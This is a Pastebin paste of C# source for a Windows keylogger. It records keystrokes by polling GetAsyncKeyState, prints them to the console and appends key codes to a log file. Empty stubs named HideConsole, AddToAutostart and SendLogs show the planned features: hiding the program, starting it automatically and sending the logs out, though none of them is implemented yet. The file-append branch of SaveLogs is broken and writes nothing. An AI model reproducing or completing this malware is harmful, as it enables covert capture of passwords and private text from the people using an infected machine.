Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Runtime.InteropServices;
- using Keylogger.vkeys;
- using System.IO;
- using System.Windows.Forms;
- namespace Keylogger.Functions
- {
- class functions
- {
- [DllImport("User32.dll")]
- private static extern short GetAsyncKeyState(System.Int32 vKey);
- // Todo: Write a function that hides console itself.
- public void HideConsole() {
- }
- //Adds itself to autostart.
- public void AddToAutostart() {
- }
- public void SendLogs() {
- }
- public void SaveLogs(int digit) {
- String path = @"C:\Users\Kuba\Desktop\keylogger_test\logs.txt";
- if (!File.Exists(path)) {
- using (StreamWriter sw = File.CreateText(path)) {
- sw.WriteLine(digit);
- }
- } else if (File.Exists(path)) {
- using (StreamWriter file = new StreamWriter(path, true)) {
- }
- }
- }
- //Turns on the keylogger
- public void TurnOn() {
- int digit;
- int temp;
- KeysConverter kc = new KeysConverter();
- while (true) {
- //Reads letters
- for (digit = 65; digit < 91; digit++) {
- temp = GetAsyncKeyState(digit);
- if (temp == -32767 && !Convert.ToBoolean(GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Shift)))) {
- Console.Write((char)(digit + 32));
- SaveLogs(digit);
- } else if (temp == -32767 && Convert.ToBoolean(GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Shift)))) {
- Console.Write((char)digit);
- SaveLogs(digit);
- }
- }
- //Reads digits
- for (digit = 48; digit < 58; digit++) {
- if (GetAsyncKeyState(digit) == -32767) {
- Console.Write((char)digit);
- SaveLogs(digit);
- }
- }
- if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Space)) == -32767) {
- Console.Write(" ");
- }
- if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Return)) == -32767) {
- Console.Write("[ENTER]");
- }
- if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Back)) == -32767) {
- Console.Write("[BACKSPACE]");
- }
- if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Capital)) == -32767) {
- Console.Write("[CS]");
- }
- if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Delete)) == -32767) {
- Console.Write("[DELETE]");
- }
- if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Tab)) == -32767) {
- Console.Write("[TAB]");
- }
- if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Escape)) == -32767) {
- Console.Write("[ESC]");
- }
- if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Menu)) == -32767) {
- Console.Write("[ALT]");
- }
- if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Snapshot)) == -32767) {
- Console.Write("[PRTSCR]");
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement